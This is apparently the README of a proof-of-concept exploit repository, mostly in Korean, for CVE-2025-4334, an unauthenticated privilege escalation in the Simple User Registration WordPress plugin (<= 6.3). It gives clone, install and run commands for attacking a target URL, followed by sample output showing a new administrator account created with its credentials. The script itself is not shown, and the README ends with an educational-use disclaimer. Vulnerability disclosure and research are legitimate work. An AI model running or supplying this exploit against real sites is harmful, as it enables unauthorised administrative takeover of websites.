0xgh057r3c0n/cve-2025-4334Proof-of-concept exploit for CVE-2025-4334, a privilege escalation vulnerability in the Simple User Registration WordPress plugin (<= 6.3), allowing unauthenticated attackers to create administrator accounts.
익스플로잇 제목: Simple User Registration <= 6.3 – 인증되지 않은 권한 상승
작성자: Gaurav Bhattacharjee (0xgh057r3c0n)
CVE ID: CVE-2025-4334
이 익스플로잇은 **WordPress용 Simple User Registration 플러그인(<= v6.3)**의 취약점을 대상으로 하며, 인증되지 않은 공격자가 권한을 상승시키고 새로운 관리자 계정을 생성할 수 있도록 합니다.
리포지토리를 복제하고 필요한 Python 종속성을 설치합니다:
git clone https://github.com/0xgh057r3c0n/CVE-2025-4334.git
cd CVE-2025-4334
pip3 install -r requirements.txt
종속성:
requestscoloramapython3 CVE-2025-4334.py -u <base_url> --form <form_url>
인수:
-u / --url → 기본 WordPress URL (예: https://target.com/wordpress/)--form → 등록 양식의 전체 URL (예: https://target.com/wpr/default-registration/)예시:
python3 CVE-2025-4334.py -u https://example.com/wordpress --form https://example.com/wpr/default-registration/
[*] Fetching form details...
[i] Extracted Nonce : 1a2b3c4d5e
[i] Extracted Form ID : 12
[i] Referer Path : /wpr/default-registration/
[*] Sending exploit payload...
[i] HTTP Response Code : 200
[i] Server Response : {"success":true,"user_id":2}
[+] Exploitation Successful
[+] Username : 0xgh057r3c0nadmin
[+] First Name : 0xgh057r3c0nadmin
[+] Last Name : 0xgh057r3c0nadmin
[+] Email : [email protected]
[+] Password : Wiz007@8876@
[+] Role : administrator
Exploit By : Gaurav Bhattacharjee (0xgh057r3c0n)
이 도구는 교육 및 연구 목적으로만 제공됩니다.
허가 없이 시스템을 대상으로 한 무단 사용은 불법입니다.
저자는 오용에 대해 책임을 지지 않습니다.
이 프로젝트는 MIT 라이선스에 따라 라이선스가 부여됩니다.